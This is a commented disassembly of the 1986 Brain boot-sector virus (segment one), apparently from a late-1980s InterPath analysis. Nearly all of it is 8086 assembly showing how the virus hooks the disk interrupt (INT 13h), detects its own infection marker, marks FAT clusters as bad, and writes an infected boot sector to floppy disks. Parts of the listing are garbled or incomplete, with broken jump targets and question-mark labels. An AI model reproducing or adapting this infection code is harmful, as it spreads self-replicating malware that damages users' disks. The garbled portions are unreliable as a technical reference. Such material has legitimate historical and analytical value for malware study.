The following is a disassembled and commented version of the Pakistani Brain
virus - segment one.  All comments, structure inclusions and explanatory
information is copyright InterPath Corporation, 1987, 1988.  This document may
not be distributed or copied without the express written consent of InterPath
Corporation.  Contact InterPath at 408 988 3832.

    PAGE 64,132
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
CODE     SEGMENT PUBLIC 'CODE'         ;
    ASSUME CS:CODE,DS:CODE,ES:CODE,SS:NOTHING
                        ;
         ORG  0         ;
                        ;
BPB      EQU  3+8       ;JMP + OEM_NAME
                        ;
;-----------------------------------------------------------------------;
; COPY OF BOOT SECTOR                                 ;
;-----------------------------------------------------------------------;
                        ;
         DB   6 DUP (?) ;
                        ;
L0006         DB   ?         ;HEAD
L0007         DB   ?         ;SECTOR
L0008         DB   ?         ;TRACK
                        ;
L0009         DB   ?         ;HEAD
L000A         DB   ?         ;SECTOR
L000B         DB   ?         ;TRACK
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
                        ;
    ORG  512            ;
                        ;
;-----------------------------------------------------------------------;
; (BOOT SECTOR TYPE FORMAT!)                          ;
;-----------------------------------------------------------------------;
CONTINUE:     JMP  CONTINUE_2     ;023C 
                        ;
L0203         DB   'IBM X3.2'     ;OEM NAME AND VERSION
                        ;
         DW   512       ;BYTES PER SECTOR
         DB   2         ;SECTORS PER ALLOCATION UNIT
         DW   1         ;RESERVED SECTORS
L0210         DB   2         ;NUMBER OF FATS
         DW   112       ;NUMBER OF ROOT DIR ENTRIES
         DW   2D0H      ;SECTORS PER DISK
         DB   0FDH      ;MEDIA ID
         DW   2         ;SECTORS PER FAT
         DW   9         ;SECTORS PER TRACK
         DW   2         ;NUMBER OF HEADS
         DW   0         ;HIDDEN SECTORS
                        ;
;---------------------------------------;
         DB   0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0

         DB   2
DISK_PARM     DB   0DFH,2,25H,2,12H,2AH,0FFH,50H,0F6H,0,2

;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
REBOOT:  INT  19H            ;REBOOT
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
CONTINUE_2:                  ;
    CLI                 ;
    XOR  AX,AX               ;
    MOV  ES,AX               ;ES=0
    MOV  SS,AX               ;SS:SP = 0000:7C00
    MOV  SP,7C00H       ;
    MOV  DS,AX               ;
    MOV  BX,07C0H       ;INITIALIZE DISK POINTER (INT 1E)
    MOV  Word Ptr [78H],2FH  ;0000:0078 = (DWORD) 07C0:002F
    MOV  [7AH],BX       ;
                        ;
    MOV  DS,BX               ;DS = 07C0
    MOV  DX,[1EH]       ;GET DRIVE/HEAD          ;BOOT:001E !
    MOV  [20H],DL       ;SAVE DRIVE         ;BOOT:0020 !
    INT  13H            ;RESET
    JNB  C_10           ;
    JMP  ERROR_2             ;IF ERROR...'BOOT FAILURE'
                        ;
C_10:    MOV  SI,BPB              ;SI = BPB      ;BOOT:000B
    MOV  CX,[SI]             ;CX = BYTES PER SECTOR
    SHR  CH,1           ;WORDS PER SECTOR
    XCHG CH,CL               ;
    MOV  [2BH],CX       ;SAVE               ;BOOT:002B
    MOV  AL,[SI+5]      ;AL= NUMBER OF FATS ;BOOT:0010
    XOR  AH,AH               ;
    MUL  Word Ptr [SI+0BH]   ;TOTAL FAT SECTORS  ;BOOT:0016
    ADD  AX,[SI+3]      ;+RESERVED SECTORS  ;BOOT:000E
    ADD  AX,[SI+11H]         ;+HIDDEN SECTORS    ;BOOT:001C
    MOV  [24H],AX       ;SAVE IT       ;BOOT:0024
    MOV  BX,7E00H       ;
    CALL UI             ;
                        ;
    MOV  BX,ES               ;SAVE ES
    MOV  AX,70H              ;ES=0070H
    MOV  ES,AX               ;
    MOV  AX,32               ;32*
    MUL  Word Ptr [SI+6]          ;   ROOT DIR ENTRIES+
    MOV  CX,[SI]             ;
    ADD  AX,CX               ;                    BYTES/SECTOR
    DEC  AX             ;                                -1
    DIV  CX             ;                         /BYTES/SECTOR
    ADD  [24H],AX       ;ADD TO BYTES IN BOOT & FAT
                        ;
    MOV  CL,[2AH]       ;
    MOV  AX,[24H]       ;
    CALL READ_CLUSTER        ;(READ BOOT SECTOR ???)
                        ;
    PUSH ES             ;
    POP  DS             ;
    JMP  0070H:0000H         ;(PASS CONTROL TO ???)
                        ;
;-----------------------------------------------------------------------;
; HEAVY CRUNCHING HERE (CLUSTER READS ?!?!?!)                   ;
; ON ENTRY:   AX = ?
;            ES:BX = DTA                              ;
;        CL = ?                                  ;
;        DS:SI = BPB                             ;
;    DS:[0021] =                                 ;
;-----------------------------------------------------------------------;
READ_CLUSTER:                ;02B3
    PUSH BX             ;
    PUSH AX             ;
                        ;
    MOV  AL,CL               ;
    MUL  Byte Ptr [2BH]      ;
    MOV  [29H],AL       ;
    POP  AX             ;
    MUL  Word Ptr [2BH]      ;
    DIV  Word Ptr [SI+0DH]   ;(BPB.SECTORS PER TRACK)
    INC  DL             ;
    MOV  [28H],DL       ;
    PUSH DX             ;
    XOR  DX,DX               ;
    DIV  Word Ptr [SI+0FH]   ;(BPB.NUMBER OF HEADS)
    MOV  [21H],DL       ;
    MOV  [26H],AX       ;
    POP  DX             ;
RC_10:   MOV  CL,[29H]       ;
    ADD  DL,CL               ;
    MOV  AX,[SI+0DH]         ;(BPB.SECTORS PER TRACK)
    INC  AX             ;
    CMP  DL,AL               ;
    JBE  RC_20               ;
    SUB  AL,[28H]       ;
    MOV  CL,AL               ;
RC_20:   MOV  AL,CL               ;
    MOV  DX,[26H]       ;
    MOV  CL,6           ;
    SHL  DH,CL               ;
    OR   DH,[28H]       ;
    MOV  CX,DX               ;
    XCHG CH,CL               ;
    MOV  DX,[20H]       ;
                        ;
    MOV  AH,2           ;READ SECTOR
    PUSH AX             ;
    INT  13H            ;
    POP  AX             ;
    JB   ERROR_2             ;IF ERROR...'BOOT FAILURE'
    SUB  [29H],AL       ;
    JBE  RC_90               ;
    CBW                 ;
    MUL  Word Ptr [2DH]      ;
    ADD  BX,AX               ;
    INC  Byte Ptr [21H]      ;
    MOV  DL,[21H]       ;
    CMP  DL,[SI+0FH]         ;
    MOV  DL,1           ;
    MOV  [28H],DL       ;
    JB   RC_10               ;
    MOV  Byte Ptr [21H],0    ;
    INC  Word Ptr [26H]      ;
    JMP  RC_10               ;
                        ;
RC_90:   POP  BX             ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
; PRINT BOOT ERROR MESSAGE AND WAIT FOR A KEY                   ;
;-----------------------------------------------------------------------;
ERROR_1:                ;0339
    MOV  SI,01B3H       ;'Non-System disk'
    JMP  E_10           ;
                        ;
;---------------------------------------;
ERROR_2:                ;
    MOV  SI,01C5H       ;'BOOT failure'
E_10:    CALL DISPLAY_STRING      ;
                        ;
    MOV  SI,01D4H       ;'Replace and press any key when ready'
    CALL DISPLAY_STRING      ;
                        ;
    MOV  AH,0           ;WAIT FOR A KEY
    INT  16H            ;
E_20:    MOV  AH,1           ;   THROW IT AWAY AND
    INT  16H            ;   WAIT FOR ANOTHER ONE BUT
    JNZ  E_20           ;   DONT GET IT
    JMP  REBOOT              ;
                        ;
;-----------------------------------------------------------------------;
; DISPLAY ASCIIZ STRING                               ;
; ON ENTRY:   DS:SI = ASCIIZ STRING                        ;
;-----------------------------------------------------------------------;
DISPLAY_STRING:                   ;0357
DS_00:   LODSB                    ;DISPLAY UNTIL NULL
    OR   AL,AL               ;
    JZ   DS_90               ;
    MOV  AH,0EH              ;
    MOV  BX,7           ;
    INT  10             ;
    JMP  DS_00               ;
DS_90:   RET                 ;0365
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
UI:                     ;0366:
    MOV  CL,01               ;
    CALL READ_CLUSTER        ;
                        ;
    PUSH SI             ;
    MOV  DI,BX               ;
    MOV  AX,ES:[BX+1C]       ;
    XOR  DX,DX               ;
    DIV  Word Ptr [SI]       ;
    INC  AL             ;
    MOV  [002A],AL      ;
    MOV  SI,019D             ;
    MOV  CX,000B             ;
    REPZ                ;
    CMPSB                    ;
    JNZ  ERROR_1             ;'NON SYSTEM DISK'
    MOV  AX,ES:[BX+3A]       ;
    MOV  [0022],AX      ;
    MOV  DI,BX               ;
    ADD  DI,+20              ;
    MOV  SI,01A8             ;
    MOV  CX,000B             ;
    REPZ                ;
    CMPSB                    ;
    JNZ  ERROR_1             ;'NON SYSTEM DISK'
    POP  SI             ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
L039D    DB   'IBMBIO  COM'
    DB   'IBMDOS  COM'
    DB   CR,LF,'Non-System disk',0
    DB   CR,LF,'BOOT failure',0
    DB   CR,LF,'Replace and press any key when ready',0
    DB   90H,90H,90H,55H,0AAH

;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
L0400:   JMP  SHORT CONT_A        ;
                        ;
    DB   '(c) 1986 Basit & Amjads (pvt) Ltd ',0
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
CONT_A:                      ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
L0A5B    DB   'IBMBIO  COM'
    DB   'IBMDOS  COM'
    DB   CR,LF,'Non-System disk',0
    DB   CR,LF,'BOOT failure',0
    DB   CR,LF,'Replace and press any key when ready',0
    DB   90H,90H,90H,55H,0AAH

;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    ADD  AL,00               ;0425 0400
    ADD  [06C6],CH      ;0427 002EC606
    AND  AX,1F02             ;042B 25021F
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
REDIRECT_13:                 ;042E
    XOR  AX,AX               ;GET INT 13 VECTOR
    MOV  DS,AX               ;
    MOV  AX,[004CH]          ;
    MOV  [01B4H],AX          ;   (SAVE IT TO INT 6D VECTOR)
    MOV  AX,[004EH]          ;
    MOV  [01B6H],AX          ;
    MOV  AX,0276H       ;SET INT 13 VECTOR
    MOV  [004CH],AX          ;
    MOV  AX,CS               ;
    MOV  [004EH],AX          ;
                        ;
    MOV  CX,0004             ;RETRY = 4
    XOR  AX,AX               ;
    MOV  ES,AX               ;
L0450:   PUSH CX             ;
    MOV  DH,CS:[0006]        ;DH = HEAD
    MOV  DL,00               ;DRIVE A:
    MOV  CX,CS:[0007]        ;CX = TRACK/SECTOR
    MOV  AX,0201             ;READ 1 SECTOR
    MOV  BX,7C00             ;ES:BX == DTA = 0000:7C00
    INT  6DH            ;
    JNB  L0470               ;
    MOV  AH,00               ;RESET
    INT  6DH            ;
    POP  CX             ;TRY AGAIN
    LOOP L0450               ;
    INT  18H            ;LOAD BASIC
                        ;
L0470:   JMP  0000:7C00      ;JUMP TO BOOT LOADER ?!?!
                        ;
    NOP                 ;0475 90
    STI                 ;0476 FB
    CMP  AH,02               ;0477 80FC02
    JNZ  L0494               ;047A 7518
    CMP  DL,02               ;047C 80FA02
    JA   L0494               ;047F 7713
    CMP  CH,00               ;0481 80FD00
    JNZ  L048B               ;0484 7505
    CMP  DH,00               ;0486 80FE00
    JZ   L0497               ;0489 740C
L048B:   DEC  Byte Ptr CS:[0225]  ;048B 2EFE0E2502
    JNZ  L0494               ;0490 7502
    JMP  L0497               ;0492 EB03
L0494:   JMP  L053C               ;0494 E9A500
L0497:   MOV  Byte Ptr CS:[0227],00    ;0497 2EC606270200
    MOV  Byte Ptr CS:[0225],04    ;049D 2EC606250204
    PUSH AX             ;04A3 50
    PUSH BX             ;04A4 53
    PUSH CX             ;04A5 51
    PUSH DX             ;04A6 52
    MOV  CS:[0226],DL        ;04A7 2E88162602
    MOV  CX,0004             ;04AC B90400
    PUSH CX             ;04AF 51
    MOV  AH,00               ;04B0 B400
    INT  6D             ;04B2 CD6D
    JB   ;04CB               ;04B4 7215
    MOV  DH,00               ;04B6 B600
    MOV  CX,0001             ;04B8 B90100
    MOV  BX,06BE             ;04BB BBBE06
    PUSH ES             ;04BE 06
    MOV  AX,CS               ;04BF 8CC8
    MOV  ES,AX               ;04C1 8EC0
    MOV  AX,0201             ;04C3 B80102
    INT  6D             ;04C6 CD6D
    POP  ES             ;04C8 07
    JNB  ;04D1               ;04C9 7306
    POP  CX             ;04CB 59
    LOOP ;04AF               ;04CC E2E1
    JMP  ;04FF               ;04CE EB2F
    NOP                 ;04D0 90
    POP  CX             ;04D1 59
    MOV  AX,CS:[06C2]        ;04D2 2EA1C206
    CMP  AX,1234             ;04D6 3D3412
    JNZ  ;04E3               ;04D9 7508
    MOV  Byte Ptr CS:[0227],01    ;04DB 2EC606270201
    JMP  ;0503               ;04E1 EB20
    PUSH DS             ;04E3 1E
    PUSH ES             ;04E4 06
    MOV  AX,CS               ;04E5 8CC8
    MOV  DS,AX               ;04E7 8ED8
    MOV  ES,AX               ;04E9 8EC0
    PUSH SI             ;04EB 56
    CALL L0804               ;04EC E81503
    JB   ;04FA               ;04EF 7209
    MOV  Byte Ptr CS:[0227],02    ;04F1 2EC606270202
    CALL L06B2               ;04F7 E8B801
    POP  SI             ;04FA 5E
    POP  ES             ;04FB 07
    POP  DS             ;04FC 1F
    JNB  ;0503               ;04FD 7304
    MOV  AH,00               ;04FF B400
    INT  6D             ;0501 CD6D
    POP  DX             ;0503 5A
    POP  CX             ;0504 59
    POP  BX             ;0505 5B
    POP  AX             ;0506 58
    CMP  CX,+01              ;0507 83F901
    JNZ  L053C               ;050A 7530
    CMP  DH,00               ;050C 80FE00
    JNZ  L053C               ;050F 752B
    CMP  Byte Ptr CS:[0227],01    ;0511 2E803E270201
    JNZ  ;052A               ;0517 7511
    MOV  CX,CS:[06C5]        ;0519 2E8B0EC506
    MOV  DX,CS:[06C3]        ;051E 2E8B16C306
    MOV  DL,CS:[0226]        ;0523 2E8A162602
    JMP  L053C               ;0528 EB12
    CMP  Byte Ptr CS:[0227],02    ;052A 2E803E270202
    JNZ  L053C               ;0530 750A
                        ;
    MOV  CX,CS:[0007]        ;CX = TRACK/SECTOR
    MOV  DH,CS:[0006]        ;DH = HEAD
L053C:   INT  6DH            ;
    RETF 2              ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
L0541    DB   0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
L0550:   JMP  CONTINUE_3          ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
L0553    DW   3              ;
    DB   ' (c) 1986 Basit & Amjads (pvt) Ltd'
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
CONTINUE_3:                  ;0577
    CALL READ_VERIFY         ;READ VERIFY
    MOV  AX,[06BEH]          ;IF ??? == DOUBLD SIDED 9 SECTORS...
    CMP  AX,0FFFDH      ;
    JE   L0586               ;...CONTINUE
    MOV  AL,3           ;ELSE RETURN ??? ERROR
    STC                 ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
L0586:                       ;0586
    MOV  CX,0037             ;
    MOV  Word Ptr [0353],0000     ;
    CALL ;05F8               ;058F E86600
    CMP  AX,0000             ;0592 3D0000
    JNZ  ;05A5               ;0595 750E
    INC  Word Ptr [0353]          ;0597 FF065303
    CMP  Word Ptr [0353],+03 ;059B 833E530303
    JNZ  ;05AB               ;05A0 7509
    JMP  ;05B6               ;05A2 EB12
    NOP                 ;05A4 90
    MOV  Word Ptr [0353],0000     ;05A5 C70653030000
    INC  CX             ;05AB 41
    CMP  CX,0163             ;05AC 81F96301
    JNZ  ;058F               ;05B0 75DD
    MOV  AL,01               ;05B2 B001
    STC                 ;05B4 F9
    RET                 ;05B5 C3
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    MOV  DL,03               ;05B6 B203
    CALL ;05CB               ;05B8 E81000
    DEC  CX             ;05BB 49
    DEC  DL             ;05BC FECA
    JNZ  ;05B8               ;05BE 75F8
    INC  CX             ;05C0 41
    CALL CONVERT_1      ;CLUSTER TO TRACK/SECTOR/HEAD
    CALL ;062D               ;05C4 E86600
    MOV  AL,00               ;05C7 B000
    CLC                 ;05C9 F8
    RET                 ;05CA C3
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    PUSH CX             ;05CB 51
    PUSH DX             ;05CC 52
    MOV  SI,06BE             ;05CD BEBE06
    MOV  AL,CL               ;05D0 8AC1
    SHR  AL,1           ;05D2 D0E8
    JB   ;05E4               ;05D4 720E
    CALL FUNCTION_1          ;BX = (CX*3)/2
    MOV  AX,[BX+SI]          ;05D9 8B00
    AND  AX,F000             ;05DB 2500F0
    OR   AX,0FF7             ;05DE 0DF70F
    JMP  ;05EF               ;05E1 EB0C
    NOP                 ;05E3 90
    CALL FUNCTION_1          ;BX = (CX*3)/2
    MOV  AX,[BX+SI]          ;05E7 8B00
    AND  AX,000F             ;05E9 250F00
    OR   AX,FF70             ;05EC 0D70FF
    MOV  [BX+SI],AX          ;05EF 8900
    MOV  [BX+SI+0400],AX          ;05F1 89800004
    POP  DX             ;05F5 5A
    POP  CX             ;05F6 59
    RET                 ;05F7 C3
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    PUSH CX             ;05F8 51
    MOV  SI,06BE             ;05F9 BEBE06
    MOV  AL,CL               ;05FC 8AC1
    SHR  AL,1           ;05FE D0E8
    JB   L060D               ;0600 720B
    CALL FUNCTION_1          ;BX = (CX*3)/2
    MOV  AX,[BX+SI]          ;0605 8B00
    AND  AX,0FFF             ;0607 25FF0F
    JMP  L0619               ;060A EB0D
                        ;
L060D:   CALL FUNCTION_1          ;BX = (CX*3)/2
    MOV  AX,[BX+SI]          ;0610 8B00
    AND  AX,FFF0             ;0612 25F0FF
    MOV  CL,04               ;0615 B104
    SHR  AX,CL               ;0617 D3E8
L0619:   POP  CX             ;0619 59
    RET                 ;061A C3
                        ;
;-----------------------------------------------------------------------;
; BX = (CX*3)/2                                       ;
;-----------------------------------------------------------------------;
FUNCTION_1:                  ;061B
    PUSH DX             ;
    MOV  AX,3           ;
    MUL  CX             ;
    SHR  AX,1           ;
    MOV  BX,AX               ;
    POP  DX             ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
READ_VERIFY:                 ;0627
    MOV  AH,2           ;
    CALL VERIFY_SECTORS      ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
WRITE_VERIFY:                ;062D
    MOV  AH,03               ;
    CALL VERIFY_SECTORS      ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
VERIFY_SECTORS:                   ;0633
    MOV  CX,4           ;RETRY = 4
L0636:   PUSH CX             ;
    PUSH AX             ;
    MOV  AH,0           ;REST
    INT  6DH            ;
    POP  AX             ;
    JB   L0653               ;
    MOV  BX,offset L06BEH    ;
    MOV  AL,4           ;4==VERIFY
    MOV  DH,00               ;HEAD 0
    MOV  DL,[0226]      ;DRIVE DL
    MOV  CX,0002             ;TRACK 0/SECTOR 2
    PUSH AX             ;
    INT  6DH            ;
    POP  AX             ;
    JNB  L065C               ;IF ERROR...EXIT
L0653:   POP  CX             ;
    LOOP L0636               ;RETRY
    POP  AX             ;
    POP  AX             ;
    MOV  AL,2           ;BAD ADDRESS MARK ???
    STC                 ;RETURN ERROR
    RET                 ;
                        ;
L065C:   POP  CX             ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
; CONVERT CLUSTERS TO TRACK/SECTOR/HEAD ????                    ;
;-----------------------------------------------------------------------;
CONVERT_1:                   ;065E
    PUSH CX             ;
    SUB  CX,2           ;
    SHL  CX,1           ;WORD PTR
    ADD  CX,9*2              ;   (SECTORS PER CYLINDER ???)
    MOV  AX,CX               ;
    MOV  CL,9*2              ;   (SECTORS PER CYLINDER ???)
    DIV  CL             ;
    MOV  DS:[0008],AL        ;AL = TRACK
    MOV  Byte Ptr DS:[0006],0     ;INC. HEAD
    INC  AH             ;INC. SECTOR
    CMP  AH,9           ;IF TOO BIG...
    JBE  L0684               ;
    SUB  AH,9           ;...START AT ZERO
    MOV  Byte Ptr DS:[0006],1     ;INC. HEAD
L0684:   MOV  DS:[0007],AH        ;
    POP  CX             ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    ADD  [BX+SI],AL          ;068A 0000
    ADD  [BX+SI],AL          ;068C 0000
    ADD  [BX+SI],AL          ;068E 0000
    ADD  BP,[SI+00]          ;0690 036C00
    ADD  AX,[BP+DI]          ;0693 0303
    MOV  SI,010E             ;0695 BE0E01
    ADD  [BX+SI],AL          ;0698 0000
    ADD  AX,SP               ;069A 01E0
    FCOMP     DWord Ptr [DI+E0D7] ;069C D89DD7E0
    LAHF                ;06A0 9F
    LEA  BX,[BX+SI+8E9F]          ;06A1 8D989F8E
    LOOPNZ    ;06C7               ;06A5 E020
    SUB  [BP+DI+29],AH       ;06A7 286329
    AND  [BP+SI+72],AL       ;06AA 204272
    POPA                ;06AD 61
    IMUL BP,[BP+20],E824          ;06AE 696E2024E8
    FILD DWord Ptr [BX+SI]   ;06B3 DB00
    JB   L06C1               ;06B5 720A
    PUSH DI             ;06B7 57
    CALL ;06DA               ;06B8 E81F00
    POP  DI             ;06BB 5F
    JB   L06C1               ;06BC 7203
    CALL WRITE_RBF      ;WRITE ROOT BOOT FAT
L06C1:   RET                 ;06C1 C3
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    MOV  BX,049B             ;06C2 BB9B04
    MOV  CX,000B             ;
L06C8:   MOV  AL,[BX]             ;
    NEG  AL             ;
    MOV  [SI],AL             ;
    INC  SI             ;
    INC  BX             ;
    LOOP L06C8               ;
                        ;
    MOV  AL,08               ;
    MOV  [SI],AL             ;
    CLC                 ;
    RET                 ;06D7 C3
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    MOV  Byte Ptr [06C7],91  ;06D8 C606C70691
    ADD  AL,6C               ;06DD 046C
    ADD  [BP+06FE],BH        ;06DF 00BEFE06
    MOV  [0493],DX      ;06E3 89169304
    MOV  AX,[0491]      ;06E7 A19104
    SHR  AX,1           ;06EA D1E8
    MOV  [0497],AX      ;06EC A39704
    SHR  AX,1           ;06EF D1E8
    MOV  [0495],AX      ;06F1 A39504
    XCHG AX,CX               ;06F4 91
    AND  CL,43               ;06F5 80E143
    MOV  DI,[0495]      ;06F8 8B3E9504
    ADD  DI,01E3             ;06FC 81C7E301
    MOV  AL,[SI]             ;0700 8A04
    CMP  AL,00               ;0702 3C00
    JZ   ;071B               ;0704 7415
    MOV  AL,[SI+0B]          ;0706 8A440B
    AND  AL,08               ;0709 2408
    CMP  AL,08               ;070B 3C08
    JZ   ;071B               ;070D 740C
    ADD  SI,+20              ;070F 83C620
    DEC  Word Ptr [0491]          ;0712 FF0E9104
    JNZ  ;0700               ;0716 75E8
    STC                 ;0718 F9
    RET                 ;0719 C3
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
:                       ;071A
    MOV  CX,[BP+DI+331D]          ;
    PUSH DS             ;071E 1E
    XCHG AX,DI               ;071F 97
    ADD  AL,89               ;0720 0489
    XCHG AX,DI               ;0722 3697
    ADD  AL,FA               ;0724 04FA
    MOV  AX,SS               ;0726 8CD0
    MOV  SS:[0493],AX        ;0728 A39304
    MOV  [0495],SP      ;072B 89269504
    MOV  AX,CS               ;072F 8CC8
    MOV  SS,AX               ;0731 8ED0
    MOV  SP,[0497]      ;0733 8B269704
    ADD  SP,+0C              ;0737 83C40C
    MOV  CL,51               ;073A B151
    ADD  DX,444C             ;073C 81C24C44
    MOV  DI,2555             ;0740 BF5525
    MOV  CX,0C03             ;0743 B9030C
    REPZ                ;0746 F3
    CMPSW                    ;0747 A7
    MOV  AX,0B46             ;0748 B8460B
    MOV  CX,0003             ;074B B90300
    ROL  AX,CL               ;074E D3C0
    MOV  [0497],AX      ;0750 A39704
    MOV  CX,0005             ;0753 B90500
    MOV  DX,0008             ;0756 BA0800
    SUB  Word Ptr [0497],5210     ;0759 812E97041052
    PUSH [0497]              ;075F FF369704
L0763:   MOV  AH,[BX]             ;0763 8A27
    INC  BX             ;0765 43
    MOV  DL,AH               ;0766 8AD4
    SHL  DL,1           ;0768 D0E2
    JB   L0763               ;076A 72F7
L076C:   MOV  DL,[BX]             ;076C 8A17
    INC  BX             ;076E 43
    MOV  AL,DL               ;076F 8AC2
    SHL  DL,1           ;0771 D0E2
    JB   L076C               ;0773 72F7
    ADD  AX,1D1D             ;0775 051D1D
    PUSH AX             ;0778 50
    INC  Word Ptr [0497]          ;0779 FF069704
    JNB  L0780               ;077D 7301
    JMP  268B:E1E2      ;077F EAE2E18B26
                        ;
    XCHG AX,BP               ;0784 95
    ADD  AL,A1               ;0785 04A1
    XCHG AX,BX               ;0787 93
    ADD  AL,8E               ;0788 048E
    SAR  BL,1           ;078A D0FB
    ADD  DH,[BP+SI]          ;078C 0232
    CLC                 ;078E F8
    RET                 ;078F C3
                        ;
;-----------------------------------------------------------------------;
; READ ROOT, BOOT, FIRST FAT                          ;
;-----------------------------------------------------------------------;
READ_RBF:                    ;0790
    MOV  Byte Ptr [0490],02  ;COMMAND = READ
    JMP  ROOT_BOOT_FAT       ;DO IT
                        ;
;-----------------------------------------------------------------------;
; WRITE ROOT, BOOT, FIRST FAT                              ;
;-----------------------------------------------------------------------;
WRITE_RBF:                   ;0798
    MOV  Byte Ptr [0490],03  ;COMMAND = WRITE
    JMP  ROOT_BOOT_FAT       ;DO IT
                        ;
;-----------------------------------------------------------------------;
; READ OR WRITE ROOT, BOOT, FIRST FAT                      ;
;-----------------------------------------------------------------------;
ROOT_BOOT_FAT:                    ;07A0
    MOV  DH,0           ;HEAD = 0
    MOV  DL,[226H]      ;DL = DRIVE
    MOV  CX,6           ;(TRACK 0/SECTOR 6) == ENTIRE ROOT DIR
    MOV  AH,[490H]      ;AH = COMMAND
    MOV  AL,4           ;4 SECTORS
    MOV  BX,6BEH             ;ES:BX = DTA
    CALL RESET_DO_IT         ;GO TO DISK
    JB   L07C9               ;IF ERROR...EXIT
                        ;
    MOV  CX,1           ;(TRACK 0/SECTOR 1) == BOOT & FAT1
    MOV  DH,1           ;HEAD 1
    MOV  AH,[490H]      ;AH = COMMAND
    MOV  AL,3           ;3 SECTORS
    ADD  BX,800H             ;ES:BX = DTA
    CALL RESET_DO_IT         ;GO TO DISK
L07C9:   RET                 ;
                        ;
;-----------------------------------------------------------------------;
; RESET DRIVE BEFORE DOING SPECIFIED FUNCTION                   ;
;-----------------------------------------------------------------------;
RESET_DO_IT:                 ;07CA
    MOV  [0493],AX      ;
    MOV  [0495],BX      ;SAVE REGs
    MOV  [0497],CX      ;
    MOV  [0499],DX      ;
    MOV  CX,0004             ;RETRY COUNT = 4
                        ;
RDI_10:  PUSH CX             ;
    MOV  AH,00               ;REST DRIVE
    INT  6D             ;
    JB   RDI_80              ;IF ERROR...RETRY
    MOV  AX,[0493]      ;RESTORE REGs
    MOV  BX,[0495]      ;
    MOV  CX,[0497]      ;
    MOV  DX,[0499]      ;
    INT  6D             ;DO SPECIFIED FUNCTION
    JNB  RDI_90              ;IF NO ERROR...EXIT
RDI_80:  POP  CX             ;
    LOOP RDI_10              ;RETRY
    STC                 ;RETURN ERROR
    RET                 ;
                        ;
RDI_90:  POP  CX             ;RETURN NO ERROR
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
    ADD  [BX+SI],AL          ;07FD 0000
    ADD  [BP+DI],AL          ;07FF 0003
    ADD  [BX+DI],AL          ;0801 0001

L0804: ?!?!




    ADD  BP,AX               ;0803 03E8
    DEC  CX             ;0805 49
    STD                 ;0806 FD
    JB   ;085D               ;0807 7254
                        ;
    MOV  Word Ptr [000A],0001     ;
    MOV  Byte Ptr [0009],00  ;
    MOV  BX,06BE             ;ES:BX = DTA ?
    CALL READ_SECTORS        ;
                        ;
    MOV  BX,06BE             ;BX = DTA
    MOV  AX,[0007]      ;GET SECTOR TRACK
    MOV  [000A],AX      ;SAVE SECTOR/TRACK
    MOV  AH,[0006]      ;GET HEAD
    MOV  [0009],AH      ;SAVE HEAD
    CALL WRITE_SECTORS       ;WRITE SECTOR(S)
    CALL NEXT_SECTOR         ;POINT TO NEXT
                        ;
    MOV  CX,0005             ;CX = ???
    MOV  BX,0200             ;BX = DTA
L0837:   MOV  [0600],CX      ;SAVE ???
    CALL WRITE_SECTORS       ;WRITE SECTOR(S)
    CALL NEXT_SECTOR         ;POINT TO NEXT
    ADD  BX,512              ;DTA += 512
    MOV  CX,[0600]      ;???
    LOOP L0837               ;LOOP 5 TIMES ???
                        ;
    MOV  Byte Ptr [0009],00  ;HEAD = 0
    MOV  Word Ptr [000A],0001     ;TRACK/SECTOR = 0/1
    MOV  BX,0000             ;DTA = INFECTED BOOT SECTOR
    CALL WRITE_SECTORS       ;WRITE INFECTED BOOT SECTOR
    CLC                 ;
    RET                 ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
READ_SECTORS:                ;085E
    MOV  Word Ptr [0602H],0201H   ;READ CMD/1 SECTOR
    JMP  DO_SECTORS          ;
                        ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
WRITE_SECTORS:                    ;0867
    MOV  Word Ptr [0602H],0301H   ;WRITE CMD/1 SECTOR
